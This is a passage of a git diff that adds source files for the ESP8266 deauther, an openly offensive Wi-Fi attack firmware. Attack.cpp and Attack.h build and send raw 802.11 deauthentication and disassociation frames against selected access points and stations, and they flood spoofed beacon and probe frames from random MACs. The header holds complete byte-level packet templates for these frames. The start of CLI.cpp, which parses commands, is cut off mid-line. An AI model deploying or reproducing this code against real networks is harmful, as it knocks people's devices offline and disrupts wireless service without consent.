probe.maxPkts); + prnt(String(s)); +} + +String Attack::getStatusJSON() { + String json = String(OPEN_BRACKET); // [ + + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + + return json; +} + +void Attack::update() { + if (!running || scan.isScanning()) return; + + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); + + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } +} + +void Attack::deauthUpdate() { + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::deauthAllUpdate() { + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); + + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); + + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::probeUpdate() { + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } + } +} + +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } + } +} + +bool Attack::deauthStation(int num) { + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); +} + +bool Attack::deauthAP(int num) { + return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); +} + +bool Attack::deauthName(int num) { + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); + } +} + +bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { + if (!stMac) return false; // exit when station mac is null + + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging + + bool success = false; + + // build deauth packet + packetSize = sizeof(deauthPacket); + memcpy(&deauthPacket[4], stMac, 6); + memcpy(&deauthPacket[10], apMac, 6); + memcpy(&deauthPacket[16], apMac, 6); + deauthPacket[24] = reason; + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&deauthPacket[4], apMac, 6); + memcpy(&deauthPacket[10], stMac, 6); + memcpy(&deauthPacket[16], stMac, 6); + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; +} + +bool Attack::sendBeacon(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); +} + +bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { + packetSize = sizeof(beaconPacket); + + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } + + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + // ===== + uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size + uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer + memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer + tmpPacket[37] = ssidLen; // update SSID length byte + memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer + + if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) { + beacon.time = currentTime; + beacon.packetCounter++; + delete tmpPacket; // free memory of allocated buffer + return true; + } else { + delete tmpPacket; // free memory of allocated buffer + return false; + } + // ===== +} + +bool Attack::sendProbe(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); +} + +bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; +} + +bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) { + // Serial.println(bytesToStr(packet, packetSize)); + + // set channel + setWifiChannel(ch); + + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + // try again until it's sent out + for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) tmpPacketRate++; + + return sent; +} + +void Attack::enableOutput() { + output = true; + prntln(A_ENABLED_OUTPUT); +} + +void Attack::disableOutput() { + output = false; + prntln(A_DISABLED_OUTPUT); +} + +uint32_t Attack::getDeauthPkts() { + return deauthPkts; +} + +uint32_t Attack::getBeaconPkts() { + return beaconPkts; +} + +uint32_t Attack::getProbePkts() { + return probePkts; +} + +uint32_t Attack::getDeauthMaxPkts() { + return deauth.maxPkts; +} + +uint32_t Attack::getBeaconMaxPkts() { + return beacon.maxPkts; +} + +uint32_t Attack::getProbeMaxPkts() { + return probe.maxPkts; +} + +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h new file mode 100755 index 0000000..c6858e5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h @@ -0,0 +1,207 @@ +#ifndef Attack_h +#define Attack_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "SSIDs.h" +#include "Settings.h" +#include "Scan.h" + +extern Settings settings; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; + +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; +extern uint32_t currentTime; + +extern bool macBroadcast(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern void setOutputPower(float dBm); +extern String macToStr(uint8_t* mac); +extern String bytesToStr(uint8_t* b, uint32_t size); +extern void setWifiChannel(uint8_t ch); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); + +class Attack { + public: + Attack(); + + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); + + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); + + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); + + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); + + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); + + bool isRunning(); + + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); + + uint32_t getPacketRate(); + + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); + + void updateCounter(); + + bool running = false; + bool output = true; + + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; + + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + + int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; +}; + +#endif // ifndef Attack_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp new file mode 100755 index 0000000..d32a5ae --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp @@ -0,0 +1,1173 @@ +#include "CLI.h" + +/* + Shitty code used less resources so I will keep this clusterfuck as it is, + but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI + */ + +CLI::CLI() { + list = new SimpleList; + queue = new SimpleList; +} + +CLI::~CLI() {} + +void CLI::load() { + String defaultValue = str(CLI_DEFAULT_AUTOSTART); + checkFile(execPath, defaultValue); + execFile(execPath); +} + +void CLI::load(String filepath) { + execPath = filepath; + load(); +} + +void CLI::enable() { + enabled = true; + prntln(CLI_SERIAL_ENABLED); +} + +void CLI::disable() { + enabled = true; + prntln(CLI_SERIAL_DISABLED); +} + +void CLI::update() { + // when serial available, read input + if (Serial.available() > 0) { + String input = Serial.readStringUntil('\n'); + exec(input); + } + + // when queue is not empty, delay is off and no scan is active, run it + else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { + String s = queue->shift(); + exec(s); + } +} + +void CLI::stop() { + queue->clear(); + prntln(CLI_STOPPED_SCRIPT); +} + +void CLI::enableDelay(uint32_t delayTime) { + delayed = true; + this->delayTime = delayTime; + delayStartTime = millis(); +} + +void CLI::exec(String input) { + // quick exit when input is empty + if (input.length() == 0) return; + + // check delay + if (delayed && (millis() - delayStartTime > delayTime)) { + delayed = false; + prntln(CLI_RESUMED); + } + + // when delay is on, add it to queue, else run it + if (delayed) { + queue->add(input); + } else { + runLine(input); + } +} + +void CLI::execFile(String path) { + String input; + + if (readFile(path, input)) { + String tmpLine; + char tmpChar; + + input += '\n'; + + while (!queue->isEmpty()) { + input += queue->shift(); + input += '\n'; + } + + for (int i = 0; i < input.length(); i++) { + tmpChar = input.charAt(i); + + if (tmpChar == '\n') { + queue->add(tmpLine); + tmpLine = String(); + } else { + tmpLine += tmpChar; + } + } + + queue->add(tmpLine); + } +} + +void CLI::error(String message) { + prnt(CLI_ERROR); + prntln(message); +} + +void CLI::parameterError(String parameter) { + prnt(CLI_ERROR_PARAMETER); + prnt(parameter); + prntln(DOUBLEQUOTES); +} + +bool CLI::isInt(String str) { + if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; + + for (uint32_t i = 0; i < str.length(); i++) + if (!isDigit(str.charAt(i))) return false; + + return true; +} + +int CLI::toInt(String str) { + if (eqls(str, STR_TRUE)) return 1; + else if (eqls(str, STR_FALSE)) return 0; + else return str.toInt(); +} + +uint32_t CLI::getTime(String time) { + int value = time.toInt(); + + if (value < 0) value = -value; + + if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; + else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || + (time.charAt(time.length() - 1) == M)) value *= 60000; + return value; +} + +bool CLI::eqlsCMD(int i, const char* keyword) { + return eqls(list->get(i).c_str(), keyword); +} + +void CLI::runLine(String input) { + String tmp; + + for (int i = 0; i < input.length(); i++) { + // when 2 semicolons in a row without a backslash escaping the first + if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && + (input.charAt(i - 1) != BACKSLASH)) { + runCommand(tmp); + tmp = String(); + i++; + } else { + tmp += input.charAt(i); + } + } + + tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); + + if (tmp.length() > 0) runCommand(tmp); +} + +void CLI::runCommand(String input) { + input.replace(String(NEWLINE), String()); + input.replace(String(CARRIAGERETURN), String()); + + list->clear(); + + // parse/split input in list + String tmp; + bool withinQuotes = false; + bool escaped = false; + char c; + + for (uint32_t i = 0; i < input.length() && i < 512; i++) { + c = input.charAt(i); + + // when char is an unescaped + if (!escaped && (c == BACKSLASH)) { + escaped = true; + } + + // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n + else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { + // when tmp string isn't empty, add it to the list + if (tmp.length() > 0) { + list->add(tmp); + tmp = String(); // reset tmp string + } + } + + // when char is an unescaped " + else if ((c == DOUBLEQUOTES) && !escaped) { + // update wheter or not the following chars are within quotes or not + withinQuotes = !withinQuotes; + + if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add + // a space + } + + // add character to tmp string + else { + tmp += c; + escaped = false; + } + } + + // add string if something is left from the loop above + if (tmp.length() > 0) list->add(tmp); + + // stop when input is empty/invalid + if (list->size() == 0) return; + + // print comments + if (list->get(0) == str(CLI_COMMENT)) { + prntln(input); + return; + } + + if (settings.getSerialEcho()) { + // print command + prnt(CLI_INPUT_PREFIX); + prntln(input); + } + + if (list->size() == 0) return; + + // ===== HELP ===== // + if (eqlsCMD(0, CLI_HELP)) { + prntln(CLI_HELP_HEADER); + + prntln(CLI_HELP_HELP); + prntln(CLI_HELP_SCAN); + prntln(CLI_HELP_SHOW); + prntln(CLI_HELP_SELECT); + prntln(CLI_HELP_DESELECT); + prntln(CLI_HELP_SSID_A); + prntln(CLI_HELP_SSID_B); + prntln(CLI_HELP_SSID_C); + prntln(CLI_HELP_NAME_A); + prntln(CLI_HELP_NAME_B); + prntln(CLI_HELP_NAME_C); + prntln(CLI_HELP_SET_NAME); + prntln(CLI_HELP_ENABLE_RANDOM); + prntln(CLI_HELP_DISABLE_RANDOM); + prntln(CLI_HELP_LOAD); + prntln(CLI_HELP_SAVE); + prntln(CLI_HELP_REMOVE_A); + prntln(CLI_HELP_REMOVE_B); + prntln(CLI_HELP_ATTACK); + prntln(CLI_HELP_ATTACK_STATUS); + prntln(CLI_HELP_STOP); + prntln(CLI_HELP_SYSINFO); + prntln(CLI_HELP_CLEAR); + prntln(CLI_HELP_FORMAT); + prntln(CLI_HELP_PRINT); + prntln(CLI_HELP_DELETE); + prntln(CLI_HELP_REPLACE); + prntln(CLI_HELP_COPY); + prntln(CLI_HELP_RENAME); + prntln(CLI_HELP_RUN); + prntln(CLI_HELP_WRITE); + prntln(CLI_HELP_GET); + prntln(CLI_HELP_SET); + prntln(CLI_HELP_RESET); + prntln(CLI_HELP_CHICKEN); + prntln(CLI_HELP_REBOOT); + prntln(CLI_HELP_INFO); + prntln(CLI_HELP_COMMENT); + prntln(CLI_HELP_SEND_DEAUTH); + prntln(CLI_HELP_SEND_BEACON); + prntln(CLI_HELP_SEND_PROBE); + prntln(CLI_HELP_LED_A); + prntln(CLI_HELP_LED_B); + prntln(CLI_HELP_LED_ENABLE); + prntln(CLI_HELP_DRAW); + prntln(CLI_HELP_SCREEN_ON); + prntln(CLI_HELP_SCREEN_MODE); + + prntln(CLI_HELP_FOOTER); + } + + // ===== SCAN ===== // + // scan [] [-t